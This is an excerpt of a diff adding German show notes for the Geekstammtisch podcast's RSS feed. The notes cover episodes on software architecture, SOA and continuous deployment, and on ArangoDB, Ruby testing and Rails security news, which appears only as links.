+<li>JavaScript-Console für den Browser: <a href="http://replit.github.com/jq-console/">http://replit.github.com/jq-console/</a></li>
+</ul></li>
+<li><a href="http://stedolan.github.com/jq/">http://stedolan.github.com/jq/</a></li>
+<li>The JSON Query Language: <a href="http://www.jsoniq.org/">http://www.jsoniq.org/</a>
+
+<ul>
+<li>Ähnlich wie das was ArangoDB verwendet (unabhängig)</li>
+</ul></li>
+</ul>
+
+<h3>Events</h3>
+
+<ul>
+<li>NoSQL Matters: 25. - 27.4.2013 (<a href="http://2013.nosql-matters.org/cgn/">http://2013.nosql-matters.org/cgn/</a>)
+
+<ul>
+<li>Early Bird Tickets schon verfügbar</li>
+<li>25.4. ist Training Day</li>
+<li>Keynote: Martin Fowler</li>
+<li>Im KOMED in Köln</li>
+<li>Mit Hadoop-Track</li>
+<li>Und der Rest der bisher veröffentlichen Speaker ist nicht weniger hochkarätig</li>
+</ul></li>
+</ul>
+
+<p>BTW: Jan Lehnardt ist jetzt bei &#39;The Couch Firm&#39; - <a href="http://thecouchfirm.com/">http://thecouchfirm.com/</a></p>
+]]></description>
+ <atom:link rel="http://podlove.org/deep-link" href="http://geekstammtisch.de#GST004" />
+
+
+ </item>
+
+ <item>
+ <title>GST005 - HistorieLöschenService</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>Dirk Breuer, Sebastian Cohnen</itunes:author>
+ <itunes:subtitle>Mit Oliver Jucknath über Architektur, SOA, Continuous Deployment und Testing und die Cloud</itunes:subtitle>
+ <enclosure url="http://media.geekstammtisch.de/episodes/gst005.mp3" length="62470391" type="audio/mpeg"/>
+ <guid isPermaLink="false">GST005</guid>
+ <pubDate>Thu, 14 Feb 2013 15:07:49 +0100</pubDate>
+ <itunes:duration>01:26:34</itunes:duration>
+ <itunes:summary><![CDATA[Unser Gast ist heute: Oliver Jucknath (http://www.jubeco.de/)
+
+**Synopsis**: Heute geht es um (Software) Architektur, Testing, Agile
+Entwicklung in großen Teams und SOA. Außerdem bietet unser Gast einige
+interessante Einblicke in seine Erfahrung mit Großprojekten.
+
+
+### Unser Gast
+
+ * Oliver ist Entwickler, SOA Evangelist, Architekt und Social Debugger
+ * Angefangen zu programmieren mit 11, macht aktuell vor allem Java
+ * lange Zeit Entwickler gewesen
+ * mittlerweile mehr in Richtung Consulting
+ * schreibt auch Computerspiele Service-orientiert
+
+
+### Architektur
+
+ * Was ist Architektur? Auswahl von Tooling, Deployment, Performance, ...
+ * Manchmal ist etwas neu entwickeltes weg werfen und neu machen eine sehr gute Idee
+ * Explorative Architektur
+ * Oliver hat einen sehr weiten Blick auf Architektur
+ * Architektur fängt bei der fachlichen Seite an
+ * …und endet beim Entwickler
+ * Oliver hat Konzerne mit Write-only Architekturen erlebt, wo ein
+ Architekt ein System baut, ohne wirkliches Feedback zu bekommen
+ * Oliver's kleinstes Projekt: nur er selber – das größte 2000 Entwickler
+ * Erste Grundregel des Consultings: "Arbeite nicht für einen dummen Chef"
+ * Task Force: Projektarbeit unter extremen Umständen. Weit über Time & Budget. Projektrettung.
+ * Der Übergang von Architekturaufgaben zum Entwicklungsprozess sind teilweise fließend
+
+
+### Agile Entwicklung
+
+ * Agile Entwicklung zielt darauf ab, immer wieder lauffähige
+ Zwischenergebnisse zu erzielen
+ * Lieber eine Woche in die falsche, dann zwei Wochen in die fast
+ richtige und dann in die richtige Richtung laufen
+ * Clean HEAD, Dirty HEAD
+ * Lieber Clean HEAD, nur in Ausnahmesituationen Dirty HEAD
+
+
+### Continuous Deployment und Testing
+
+ * Continuous Deployment ist für viele der heilige Gral
+ * Continuous Deployment erfordert zwingend kontinuierliches Testen
+ * Oliver: "Testen ist Teil der Architektur"
+ * Durch zu vieles (Unit) Testen, kann die Agilität abnehmen (viele
+ Tests für einen kleinen Change)
+ * Oliver bevorzugt mittlerweile Application Level Testing (z.B. mit jmeter)
+ * Entwickler sind häufig keine guten Tester (falsche Perspektive)
+ * Ab Teams mit sieben Entwicklern, würde Oliver gerne einen Tester dabei haben
+ * In großen Unternehmen, haben Entwickler keinen Einblick in
+ Produktionsdaten und können somit nicht immer verstehen, was die
+ Benutzer brauchen.
+ * Olivers Debugging Abenteuer: Es gab bei einem großen deutschen Telco mal ein Handy für 87 Fragezeichen
+ * Testing auf einer pre-Stage Umgebung (siehe Continuous Deployment)
+ * Optionale Service Parameter und Featureflags (Loose Coupling)
+ * Continuous Deployment (CD) ist richtig teuer:
+ * gute Entwickler
+ * vernünftiges Projektmanagement
+ * Pre-Stage Hardware
+ * Wo lohnt sich CD?
+ * Handelsplattformen, Banken, die sich schnell auf Situationen
+ einstellen müssen
+ * Bei kleinen Projekten: CI und CD machbarer
+ * Man will aber in jedem Fall Metriken haben, das ist (natürlich) auch
+ ein Thema für die Architektur
+
+
+### SOA: Service-oriented Architecture
+
+ * Oliver: Der Sprung zur SOA ist wie der Sprung zur Objekt-orientierten Programmierung
+ * Änderungen an einem System über fünf Jahre bei einer großen Telco
+ * GUI: extrem viele Änderungen, sehr variabel
+ * Datenbank: ebenfalls nicht sehr stabil
+ * Services: sind am stabilsten
+ * Was ist ein Service?
+ * Ein Service ist eine Schnittstelle zu einer fachlichen (selten
+ technisch) Funktionalität, die unabhängig von der Implementierung ist
+ * Service Anti-Pattern: Ein Service, der eine OO-Schnittstelle, exportiert.
+ * Ein Service muss die Fachlichkeit beschreiben, dass können am besten
+ Leute aus der Fachseite
+ * Entwickler passen sich besser an die "komischen" fachlichen Services
+ an, als die Fachseite an die Services, die Entwickler definieren
+ würden.
+ * Services sind NICHT Objekt-orientiert!
+ * Reusability ist keine gute Idee für Services, mehrfache Verwendung
+ durch verschiedene Kanäle ist hingegen eine gute Idee
+ * "Menschen denken nicht Objekt-orientiert"
+ * Services sind leichtgewichtig, man kann sie einfacher ändern, oder
+ neue, parallel zu bestehenden einführen
+ * Noch ein Anti-Pattern: "Do what I mean Service", bestehend aus einem
+ String "XML in" und Return-Wert "XML out"
+ * Services sollen wohl definiert sein
+ * Ein Service-Bus ist ein zentrales Medium, welches benutzt wird, um als
+ Servicenutzer einen Service aufzurufen.
+ * Ein Bus kann auf fachlicher Ebene beobachtet werden, denn auf dem
+ Bus werden Fachliche Dinge versendet
+ * Vor SOA war EAI (http://en.wikipedia.org/wiki/Enterprise_application_integration)
+ * SOA Architekturen haben eine bessere Performance als andere Architekturen
+ * Mit CRUD fährt man SOA mit richtiger Wonne gegen die Wand
+ * Und CRUD ist der Tot jeder Performance
+ * Der (nächste) heilige Gral: Modellierung von Prozessen
+ * Wechsel im Medium sind ein Problem: Anmeldung via Webseite, Support via Telefon
+ * Was man will: Eine Business Process Engine (im Prinzip eine große State Machine)
+ * Ein Prozess mit persistiert werden können
+ * Eine SOA in Kombination mit einer Process Engine erlaubt es sehr
+ gute Beobachtungen und Aussagen über Systeme und Geschäftsabläufe zu treffen
+
+
+### Die Cloud
+
+ * Die Cloud ist interessant für Architekten
+ * …hat aber auch eigene Schwierigkeiten: z.B. anvertrauen von Daten
+ * Cloud ist hervorragend um (hoch) parallel und mit hoher Verfügbarkeit zu arbeiten
+ * …setzt aber viel Knowhow im Bereich Kryptographie voraus
+ * Oliver würde User Authentifizierung nicht in der Cloud machen
+ * Warum will man in die Cloud?
+ * Geringere Kosten
+ * Hohe Verfügbarkeit
+ * Hohe Sicherheit
+ * Oliver meint, dass hohe Verfügbarkeit ist kein wirkliches Argument
+ für die Cloud ist, weil heutige Hardware ohnehin sehr gut ist
+ * 90% der Downtimes sind Security Relevant, der Rest ist meist ein Fehler von Entwicklern
+ * Daher hauptsächlicher Grund für Downtimes: Security
+ * Pro Cloud: Anonymous Angriff auf Amazon, gemerkt hat Amazon aber kaum was
+
+
+### Olivers kleine Geschichte zu Open Source
+
+ * Kleine Firma und StartUps: Open Source, yeah!
+ * Dann wird es ernst und die Firma seriös: Wir können uns Oracle leisten!
+ * Dann will man aber five-nines Uptime haben… das geht nur noch mit
+ Open Source, weil man ggf. selber Dinge patchen muss
+ * Weil: Stecker ziehen ist schlecht für die Uptime
+ * Unterm Strich will man alle Systeme, die an der Front stehen, in Open
+ Source haben]]></itunes:summary>
+ <description><![CDATA[<p>Unser Gast ist heute: Oliver Jucknath (<a href="http://www.jubeco.de/">http://www.jubeco.de/</a>)</p>
+
+<p><strong>Synopsis</strong>: Heute geht es um (Software) Architektur, Testing, Agile
+Entwicklung in großen Teams und SOA. Außerdem bietet unser Gast einige
+interessante Einblicke in seine Erfahrung mit Großprojekten.</p>
+
+<h3>Unser Gast</h3>
+
+<ul>
+<li>Oliver ist Entwickler, SOA Evangelist, Architekt und Social Debugger</li>
+<li>Angefangen zu programmieren mit 11, macht aktuell vor allem Java</li>
+<li>lange Zeit Entwickler gewesen</li>
+<li>mittlerweile mehr in Richtung Consulting</li>
+<li>schreibt auch Computerspiele Service-orientiert</li>
+</ul>
+
+<h3>Architektur</h3>
+
+<ul>
+<li>Was ist Architektur? Auswahl von Tooling, Deployment, Performance, ...</li>
+<li>Manchmal ist etwas neu entwickeltes weg werfen und neu machen eine sehr gute Idee</li>
+<li>Explorative Architektur</li>
+<li>Oliver hat einen sehr weiten Blick auf Architektur
+
+<ul>
+<li>Architektur fängt bei der fachlichen Seite an</li>
+<li>…und endet beim Entwickler</li>
+</ul></li>
+<li>Oliver hat Konzerne mit Write-only Architekturen erlebt, wo ein
+Architekt ein System baut, ohne wirkliches Feedback zu bekommen</li>
+<li>Oliver&#39;s kleinstes Projekt: nur er selber – das größte 2000 Entwickler</li>
+<li>Erste Grundregel des Consultings: &quot;Arbeite nicht für einen dummen Chef&quot;</li>
+<li>Task Force: Projektarbeit unter extremen Umständen. Weit über Time &amp; Budget. Projektrettung.</li>
+<li>Der Übergang von Architekturaufgaben zum Entwicklungsprozess sind teilweise fließend</li>
+</ul>
+
+<h3>Agile Entwicklung</h3>
+
+<ul>
+<li>Agile Entwicklung zielt darauf ab, immer wieder lauffähige
+Zwischenergebnisse zu erzielen</li>
+<li>Lieber eine Woche in die falsche, dann zwei Wochen in die fast
+richtige und dann in die richtige Richtung laufen</li>
+<li>Clean HEAD, Dirty HEAD
+
+<ul>
+<li>Lieber Clean HEAD, nur in Ausnahmesituationen Dirty HEAD</li>
+</ul></li>
+</ul>
+
+<h3>Continuous Deployment und Testing</h3>
+
+<ul>
+<li>Continuous Deployment ist für viele der heilige Gral</li>
+<li>Continuous Deployment erfordert zwingend kontinuierliches Testen</li>
+<li>Oliver: &quot;Testen ist Teil der Architektur&quot;</li>
+<li>Durch zu vieles (Unit) Testen, kann die Agilität abnehmen (viele
+Tests für einen kleinen Change)</li>
+<li>Oliver bevorzugt mittlerweile Application Level Testing (z.B. mit jmeter)</li>
+<li>Entwickler sind häufig keine guten Tester (falsche Perspektive)</li>
+<li>Ab Teams mit sieben Entwicklern, würde Oliver gerne einen Tester dabei haben</li>
+<li>In großen Unternehmen, haben Entwickler keinen Einblick in
+Produktionsdaten und können somit nicht immer verstehen, was die
+Benutzer brauchen.</li>
+<li>Olivers Debugging Abenteuer: Es gab bei einem großen deutschen Telco mal ein Handy für 87 Fragezeichen</li>
+<li>Testing auf einer pre-Stage Umgebung (siehe Continuous Deployment)</li>
+<li>Optionale Service Parameter und Featureflags (Loose Coupling)</li>
+<li>Continuous Deployment (CD) ist richtig teuer:
+
+<ul>
+<li>gute Entwickler</li>
+<li>vernünftiges Projektmanagement</li>
+<li>Pre-Stage Hardware</li>
+</ul></li>
+<li>Wo lohnt sich CD?
+
+<ul>
+<li>Handelsplattformen, Banken, die sich schnell auf Situationen
+einstellen müssen</li>
+</ul></li>
+<li>Bei kleinen Projekten: CI und CD machbarer</li>
+<li>Man will aber in jedem Fall Metriken haben, das ist (natürlich) auch
+ein Thema für die Architektur</li>
+</ul>
+
+<h3>SOA: Service-oriented Architecture</h3>
+
+<ul>
+<li>Oliver: Der Sprung zur SOA ist wie der Sprung zur Objekt-orientierten Programmierung</li>
+<li>Änderungen an einem System über fünf Jahre bei einer großen Telco
+
+<ul>
+<li>GUI: extrem viele Änderungen, sehr variabel</li>
+<li>Datenbank: ebenfalls nicht sehr stabil</li>
+<li>Services: sind am stabilsten</li>
+</ul></li>
+<li>Was ist ein Service?</li>
+<li>Ein Service ist eine Schnittstelle zu einer fachlichen (selten
+technisch) Funktionalität, die unabhängig von der Implementierung ist</li>
+<li>Service Anti-Pattern: Ein Service, der eine OO-Schnittstelle, exportiert.</li>
+<li>Ein Service muss die Fachlichkeit beschreiben, dass können am besten
+Leute aus der Fachseite</li>
+<li>Entwickler passen sich besser an die &quot;komischen&quot; fachlichen Services
+an, als die Fachseite an die Services, die Entwickler definieren
+würden.</li>
+<li>Services sind NICHT Objekt-orientiert!</li>
+<li>Reusability ist keine gute Idee für Services, mehrfache Verwendung
+durch verschiedene Kanäle ist hingegen eine gute Idee</li>
+<li>&quot;Menschen denken nicht Objekt-orientiert&quot;</li>
+<li>Services sind leichtgewichtig, man kann sie einfacher ändern, oder
+neue, parallel zu bestehenden einführen</li>
+<li>Noch ein Anti-Pattern: &quot;Do what I mean Service&quot;, bestehend aus einem
+String &quot;XML in&quot; und Return-Wert &quot;XML out&quot;</li>
+<li>Services sollen wohl definiert sein</li>
+<li>Ein Service-Bus ist ein zentrales Medium, welches benutzt wird, um als
+Servicenutzer einen Service aufzurufen.</li>
+<li>Ein Bus kann auf fachlicher Ebene beobachtet werden, denn auf dem
+Bus werden Fachliche Dinge versendet</li>
+<li>Vor SOA war EAI (<a href="http://en.wikipedia.org/wiki/Enterprise_application_integration">http://en.wikipedia.org/wiki/Enterprise_application_integration</a>)</li>
+<li>SOA Architekturen haben eine bessere Performance als andere Architekturen</li>
+<li>Mit CRUD fährt man SOA mit richtiger Wonne gegen die Wand</li>
+<li>Und CRUD ist der Tot jeder Performance</li>
+<li>Der (nächste) heilige Gral: Modellierung von Prozessen</li>
+<li>Wechsel im Medium sind ein Problem: Anmeldung via Webseite, Support via Telefon</li>
+<li>Was man will: Eine Business Process Engine (im Prinzip eine große State Machine)</li>
+<li>Ein Prozess mit persistiert werden können</li>
+<li>Eine SOA in Kombination mit einer Process Engine erlaubt es sehr
+gute Beobachtungen und Aussagen über Systeme und Geschäftsabläufe zu treffen</li>
+</ul>
+
+<h3>Die Cloud</h3>
+
+<ul>
+<li>Die Cloud ist interessant für Architekten</li>
+<li>…hat aber auch eigene Schwierigkeiten: z.B. anvertrauen von Daten</li>
+<li>Cloud ist hervorragend um (hoch) parallel und mit hoher Verfügbarkeit zu arbeiten</li>
+<li>…setzt aber viel Knowhow im Bereich Kryptographie voraus</li>
+<li>Oliver würde User Authentifizierung nicht in der Cloud machen</li>
+<li>Warum will man in die Cloud?
+
+<ul>
+<li>Geringere Kosten</li>
+<li>Hohe Verfügbarkeit</li>
+<li>Hohe Sicherheit</li>
+</ul></li>
+<li>Oliver meint, dass hohe Verfügbarkeit ist kein wirkliches Argument
+für die Cloud ist, weil heutige Hardware ohnehin sehr gut ist</li>
+<li>90% der Downtimes sind Security Relevant, der Rest ist meist ein Fehler von Entwicklern</li>
+<li>Daher hauptsächlicher Grund für Downtimes: Security</li>
+<li>Pro Cloud: Anonymous Angriff auf Amazon, gemerkt hat Amazon aber kaum was</li>
+</ul>
+
+<h3>Olivers kleine Geschichte zu Open Source</h3>
+
+<ul>
+<li>Kleine Firma und StartUps: Open Source, yeah!</li>
+<li>Dann wird es ernst und die Firma seriös: Wir können uns Oracle leisten!</li>
+<li>Dann will man aber five-nines Uptime haben… das geht nur noch mit
+Open Source, weil man ggf. selber Dinge patchen muss</li>
+<li>Weil: Stecker ziehen ist schlecht für die Uptime</li>
+<li>Unterm Strich will man alle Systeme, die an der Front stehen, in Open
+Source haben</li>
+</ul>
+]]></description>
+ <atom:link rel="http://podlove.org/deep-link" href="http://geekstammtisch.de#GST005" />
+
+
+ </item>
+
+ <item>
+ <title>GST006 - Heute machen, morgen Legacy</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>Dirk Breuer, Sebastian Cohnen</itunes:author>
+ <itunes:subtitle>Mit Lucas Dohmen (@moonbeamlabs) vor allem über ArangoDB</itunes:subtitle>
+ <enclosure url="http://media.geekstammtisch.de/episodes/gst006.mp3" length="63590709" type="audio/mpeg"/>
+ <guid isPermaLink="false">GST006</guid>
+ <pubDate>Tue, 19 Feb 2013 23:27:37 +0100</pubDate>
+ <itunes:duration>01:28:07</itunes:duration>
+ <itunes:summary><![CDATA[**Synopsis:** Heute geht es um ArangoDB und wie man einen coolen low-level Client für eine Datenbank baut, Mutation Testing,
+Ruby/Rails Security und anderen geilen Scheiß.
+
+### Gast (00:00:40)
+
+ * Lucas Dohmen (@moonbeamlabs)
+ * Studiert an der RWTH Aachen
+
+### ArangoDB & Ashikawa (00:01:40)
+
+ * Lucas arbeitet an diversen Open Source Projekten rund um ArangoDB
+ * https://github.com/triAGENS/ashikawa-ar
+ * https://github.com/triAGENS/ArangoDB
+ * https://github.com/triAGENS/ashikawa-core
+ * Zwei Pattern zur Anbindung von Datenbanken: ActiveRecord (http://www.martinfowler.com/eaaCatalog/activeRecord.html) und DataMapper (http://www.martinfowler.com/eaaCatalog/dataMapper.html)
+ * Ziel von Ashikawa Core:
+ * Sehr leichtgewichtige Abstraktion über der REST-API von ArangoDB
+ * “Treiber†von anderen Dokumentendatenbanken liefern nicht nur einen Treiber sondern auch “Frameworkâ€
+ * Aktuell lässt sich das HTTP-Backend noch nicht austauschen, wird aber in Zukunft auf Faraday (https://github.com/lostisland/faraday) aufbauen
+ * Noch ist Ashikawa **nicht** Thread-safe
+ * Was baut auf Ashikawa Core auf?
+ * Implementierung des Active-Record-Patterns: https://github.com/triAGENS/ashikawa-ar
+ * Lucas verwendet Teile des DataMapper2 Projekts:
+ * https://github.com/solnic/virtus: Attributes on Steroids
+ * https://github.com/mbj/aequitas: External Validations
+ * Beide sind API-kompatibel zu ActiveModel, d.h. sie lassen sich einfach in Rails verwenden
+ * Contributor sind gerne gesehen!
+ * Lucas hat sich für die DataMapper2 Bibliotheken entschieden, weil DataMapper2 ArangoDB schon unterstützt (neben Postgres)
+ * Lucas hat außerdem das Gefühl, dass die Code-Qualität bei DataMapper2 höher ist
+
+### Testing Ruby (00:19:50)
+
+ * Seattle.rb (http://ruby.sadi.st/Ruby_Sadist.html NSFW)
+ * Projekte wie `flog`, `flay`, `heckle`
+ * Am Anfang war die Code-to-Test-Ratio das Maß aller Dinge
+ * Dann kam die Code Coverage (http://en.wikipedia.org/wiki/Code_coverage)
+ * Code Coverage ist seit Ruby 1.9 sehr einfach zu messen
+ * Wir haben uns darauf geeinigt, dass 100% Code Coverage in Core-Bibliotheken erstrebenswert ist, in Anwendungen nicht mehr
+ * Beide Metriken sagen aber nichts über die absolute Qualität von Tests aus
+ * Wenn 100% Code Coverage erreichen sehr schwierig ist, dann ist das ein Code-Smell
+ * Code Metrics as a Service: Code Climate (https://codeclimate.com/)
+ * Enter Mutation Testing…
+ * Nette Einführung in das Thema und in mutant: http://solnic.eu/2013/01/23/mutation-testing-with-mutant.html
+ * mutant gem: https://github.com/mbj/mutant
+ * Mutation-Testing ist langsam
+ * Macht vor allem Sinn bei abgeschlossenen Bibliotheken
+ * Lucas will auch Mutation Testing in ashikawa-core machen
+ * mutant läuft am besten unter Rubinius
+ * https://github.com/burke/zeus
+ * pre-loaded Rails environment
+ * ähnlich zu spork, aber intelligenter, wenn es um reloading geht
+
+### Ruby/Rails Security (00:39:00)
+
+ * Aaron über YAML, YAML F7U12: http://tenderlovemaking.com/2013/02/06/yaml-f7u12.html
+ * YAML nicht als User-Input!
+ * JSON und XML sind für den Austausch besser geeignet
+ * Padrino ist safe: http://www.padrinorb.com/blog/sleep-well-yaml-vulnerabilites-and-padrino
+ * Rails Security Issues und Start Ups? http://www.kalzumeus.com/2013/01/31/what-the-rails-security-issue-means-for-your-startup/
+ * **We’re are doomed!1!1!elf**
+ * Sicherheitslücken gehören dazu (Höre http://geekstammtisch.de/#GST005)
+ * Wichtig ist wie man damit umgeht (Entwickler wie Maintainer)
+ * PHP-Code Injection via User-Agent String: http://blog.spiderlabs.com/2013/02/honeypot-alert-user-agent-field-php-injection-attacks.html
+
+### Ruby (00:48:50)
+
+ * Ruby auf Python: Topaz (http://docs.topazruby.com/en/latest/blog/announcing-topaz/)
+ * Basti erinnert ein Projekt für eine True-Ruby-Sandbox: Ruby -> Rubyracer (V8) -> emscripted-ruby -> Ruby (https://github.com/cantino/ruby_on_ruby)
+ * Yanked Gems sind doof :-) (net-scp, net-ssh-gateway, newrelic)
+
+### Technical Dept (00:55:10)
+
+ * Technical Dept: http://tech.groups.yahoo.com/group/scrumdevelopment/message/55626
+ * Don't do it.
+ * When we do it, figure out why and stop.
+ * When we do it, **leave it alone** if it's not in the way.
+ * If it is in the way, clean up the parts we pass through.
+
+### Erlang on XEN aka geiler Scheiß (01:08:35)
+
+ * Erlang on XEN: http://zerg.erlangonxen.org/
+ * Startet im Kontext eines Requests eine komplette Erlang VM inkl. Applikation
+
+### Tools (01:11:40)
+
+ * Record your Terminal: http://ascii.io/
+ * Boxen: http://boxen.github.com/
+ * Für Chef: https://github.com/pivotal/pivotal_workstation
+ * Vim Autocompletion (wenn Lucas schon da ist ^^)
+ * Aktuell verwenden Lucas und Dirk “YouCompleteMeâ€: https://github.com/Valloric/YouCompleteMe. Gefällt uns nicht so gut, aber sehr zu empfehlen wenn man C-* programmiert
+ * Alternative: https://github.com/Shougo/neocomplcache
+ * Oder einfach ohne extra Plugin ;-)
+
+### Events (01:20:20)
+
+ * Railsgirls Rheinland ist in knapp 2 Wochen (http://www.nerdhub.de/events/260-rails-girls-rheinland/dates/1756)
+ * Railsgirls Followup am Donnerstag bei Intro (http://www.nerdhub.de/events/115-rails-girls-cologne/dates/1571)
+ * cologne.rb am Mittwoch bei adcloud (http://www.nerdhub.de/events/40-cologne-rb/dates/843)
+ * cologne.js in der neuen Bottfabrik! (http://www.nerdhub.de/events/3-cologne-js/dates/1597)
+
+### Offtopic (01:25:40)
+
+ * Die Nifty Drives (http://theniftyminidrive.com/) von Basti und Dirk sind endlich da
+ * Das von Dirk leider aber doch nur in Silber (statt Pink)
+ * XKCD Style Comics in HTML: http://cmx.io/edit/]]></itunes:summary>
+ <description><![CDATA[<p><strong>Synopsis:</strong> Heute geht es um ArangoDB und wie man einen coolen low-level Client für eine Datenbank baut, Mutation Testing,
+Ruby/Rails Security und anderen geilen Scheiß.</p>
+
+<h3>Gast (00:00:40)</h3>
+
+<ul>
+<li>Lucas Dohmen (<a href="https://twitter.com/moonbeamlabs">@moonbeamlabs</a>)</li>
+<li>Studiert an der RWTH Aachen</li>
+</ul>
+
+<h3>ArangoDB &amp; Ashikawa (00:01:40)</h3>
+
+<ul>
+<li>Lucas arbeitet an diversen Open Source Projekten rund um ArangoDB
+
+<ul>
+<li><a href="https://github.com/triAGENS/ashikawa-ar">https://github.com/triAGENS/ashikawa-ar</a></li>
+<li><a href="https://github.com/triAGENS/ArangoDB">https://github.com/triAGENS/ArangoDB</a></li>
+<li><a href="https://github.com/triAGENS/ashikawa-core">https://github.com/triAGENS/ashikawa-core</a></li>
+</ul></li>
+<li>Zwei Pattern zur Anbindung von Datenbanken: ActiveRecord (<a href="http://www.martinfowler.com/eaaCatalog/activeRecord.html">http://www.martinfowler.com/eaaCatalog/activeRecord.html</a>) und DataMapper (<a href="http://www.martinfowler.com/eaaCatalog/dataMapper.html">http://www.martinfowler.com/eaaCatalog/dataMapper.html</a>)</li>
+<li>Ziel von Ashikawa Core:
+
+<ul>
+<li>Sehr leichtgewichtige Abstraktion über der REST-API von ArangoDB</li>
+<li>“Treiber†von anderen Dokumentendatenbanken liefern nicht nur einen Treiber sondern auch “Frameworkâ€</li>
+<li>Aktuell lässt sich das HTTP-Backend noch nicht austauschen, wird aber in Zukunft auf Faraday (<a href="https://github.com/lostisland/faraday">https://github.com/lostisland/faraday</a>) aufbauen</li>
+<li>Noch ist Ashikawa <strong>nicht</strong> Thread-safe</li>
+</ul></li>
+<li>Was baut auf Ashikawa Core auf?
+
+<ul>
+<li>Implementierung des Active-Record-Patterns: <a href="https://github.com/triAGENS/ashikawa-ar">https://github.com/triAGENS/ashikawa-ar</a></li>
+<li>Lucas verwendet Teile des DataMapper2 Projekts:
+
+<ul>
+<li><a href="https://github.com/solnic/virtus:">https://github.com/solnic/virtus:</a> Attributes on Steroids</li>
+<li><a href="https://github.com/mbj/aequitas:">https://github.com/mbj/aequitas:</a> External Validations</li>
+<li>Beide sind API-kompatibel zu ActiveModel, d.h. sie lassen sich einfach in Rails verwenden</li>
+</ul></li>
+</ul></li>
+<li>Contributor sind gerne gesehen!</li>
+<li>Lucas hat sich für die DataMapper2 Bibliotheken entschieden, weil DataMapper2 ArangoDB schon unterstützt (neben Postgres)</li>
+<li>Lucas hat außerdem das Gefühl, dass die Code-Qualität bei DataMapper2 höher ist</li>
+</ul>
+
+<h3>Testing Ruby (00:19:50)</h3>
+
+<ul>
+<li>Seattle.rb (<a href="http://ruby.sadi.st/Ruby_Sadist.html">http://ruby.sadi.st/Ruby_Sadist.html</a> NSFW)
+
+<ul>
+<li>Projekte wie <code>flog</code>, <code>flay</code>, <code>heckle</code></li>
+</ul></li>
+<li>Am Anfang war die Code-to-Test-Ratio das Maß aller Dinge</li>
+<li>Dann kam die Code Coverage (<a href="http://en.wikipedia.org/wiki/Code_coverage">http://en.wikipedia.org/wiki/Code_coverage</a>)</li>
+<li>Code Coverage ist seit Ruby 1.9 sehr einfach zu messen</li>
+<li>Wir haben uns darauf geeinigt, dass 100% Code Coverage in Core-Bibliotheken erstrebenswert ist, in Anwendungen nicht mehr</li>
+<li>Beide Metriken sagen aber nichts über die absolute Qualität von Tests aus</li>
+<li>Wenn 100% Code Coverage erreichen sehr schwierig ist, dann ist das ein Code-Smell</li>
+<li>Code Metrics as a Service: Code Climate (<a href="https://codeclimate.com/">https://codeclimate.com/</a>)</li>
+<li>Enter Mutation Testing…
+
+<ul>
+<li>Nette Einführung in das Thema und in mutant: <a href="http://solnic.eu/2013/01/23/mutation-testing-with-mutant.html">http://solnic.eu/2013/01/23/mutation-testing-with-mutant.html</a></li>
+<li>mutant gem: <a href="https://github.com/mbj/mutant">https://github.com/mbj/mutant</a></li>
+<li>Mutation-Testing ist langsam</li>
+<li>Macht vor allem Sinn bei abgeschlossenen Bibliotheken</li>
+</ul></li>
+<li>Lucas will auch Mutation Testing in ashikawa-core machen</li>
+<li>mutant läuft am besten unter Rubinius</li>
+<li><a href="https://github.com/burke/zeus">https://github.com/burke/zeus</a>
+
+<ul>
+<li>pre-loaded Rails environment</li>
+<li>ähnlich zu spork, aber intelligenter, wenn es um reloading geht</li>
+</ul></li>
+</ul>
+
+<h3>Ruby/Rails Security (00:39:00)</h3>
+
+<ul>
+<li>Aaron über YAML, YAML F7U12: <a href="http://tenderlovemaking.com/2013/02/06/yaml-f7u12.html">http://tenderlovemaking.com/2013/02/06/yaml-f7u12.html</a>
+
+<ul>
+<li>YAML nicht als User-Input!</li>
+<li>JSON und XML sind für den Austausch besser geeignet</li>
+</ul></li>
+<li>Padrino ist safe: <a href="http://www.padrinorb.com/blog/sleep-well-yaml-vulnerabilites-and-padrino">http://www.padrinorb.com/blog/sleep-well-yaml-vulnerabilites-and-padrino</a></li>
+<li>Rails Security Issues und Start Ups? <a href="http://www.kalzumeus.com/2013/01/31/what-the-rails-security-issue-means-for-your-startup/">http://www.kalzumeus.com/2013/01/31/what-the-rails-security-issue-means-for-your-startup/</a>
+
+<ul>
+<li><strong>We’re are doomed!1!1!elf</strong></li>
+<li>Sicherheitslücken gehören dazu (Höre <a href="http://geekstammtisch.de/#GST005">http://geekstammtisch.de/#GST005</a>)</li>
+<li>Wichtig ist wie man damit umgeht (Entwickler wie Maintainer)</li>
+</ul></li>
+<li>PHP-Code Injection via User-Agent String: <a href="http://blog.spiderlabs.com/2013/02/honeypot-alert-user-agent-field-php-injection-attacks.html">http://blog.spiderlabs.com/2013/02/honeypot-alert-user-agent-field-php-injection-attacks.html</a></li>
+</ul>
+
+<h3>Ruby (00:48:50)</h3>
+
+<ul>
+<li>Ruby auf Python: Topaz (<a href="http://docs.topazruby.com/en/latest/blog/announcing-topaz/">http://docs.topazruby.com/en/latest/blog/announcing-topaz/</a>)</li>
+<li>Basti erinnert ein Projekt für eine True-Ruby-Sandbox: Ruby -> Rubyracer (V8) -> emscripted-ruby -> Ruby (<a href="https://github.com/cantino/ruby_on_ruby">https://github.com/cantino/ruby_on_ruby</a>)</li>
+<li>Yanked Gems sind doof :-) (net-scp, net-ssh-gateway, newrelic)</li>
+</ul>
+
+<h3>Technical Dept (00:55:10)</h3>
+
+<ul>
+<li>Technical Dept: <a href="http://tech.groups.yahoo.com/group/scrumdevelopment/message/55626">http://tech.groups.yahoo.com/group/scrumdevelopment/message/55626</a>
+
+<ul>
+<li>Don&#39;t do it.</li>
+<li>When we do it, figure out why and stop.</li>
+<li>When we do it, <strong>leave it alone</strong> if it&#39;s not in the way.</li>
+<li>If it is in the way, clean up the parts we pass through.</li>
+</ul></li>
+</ul>
+
+<h3>Erlang on XEN aka geiler Scheiß (01:08:35)</h3>
+
+<ul>
+<li>Erlang on XEN: <a href="http://zerg.erlangonxen.org/">http://zerg.erlangonxen.org/</a></li>
+<li>Startet im Kontext eines Requests eine komplette Erlang VM inkl. Applikation</li>
+</ul>
+
+<h3>Tools (01:11:40)</h3>
+
+<ul>
+<li>Record your Terminal: <a href="http://ascii.io/">http://ascii.io/</a></li>
+<li>Boxen: <a href="http://boxen.github.com/">http://boxen.github.com/</a>
+
+<ul>
